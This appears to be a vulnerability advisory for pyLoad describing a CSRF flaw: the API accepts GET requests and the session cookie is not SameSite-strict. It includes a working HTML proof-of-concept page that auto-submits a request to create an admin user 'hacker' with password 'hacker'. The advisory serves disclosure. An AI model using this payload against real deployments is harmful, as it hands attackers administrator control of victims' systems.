### Summary The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user. ### PoC We host the following HTML file on an attacker-controlled server. ```html <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22"> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` If we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application.  The attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`.  ### Impact Any API call can be made via a CSRF attack by an unauthenticated user.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
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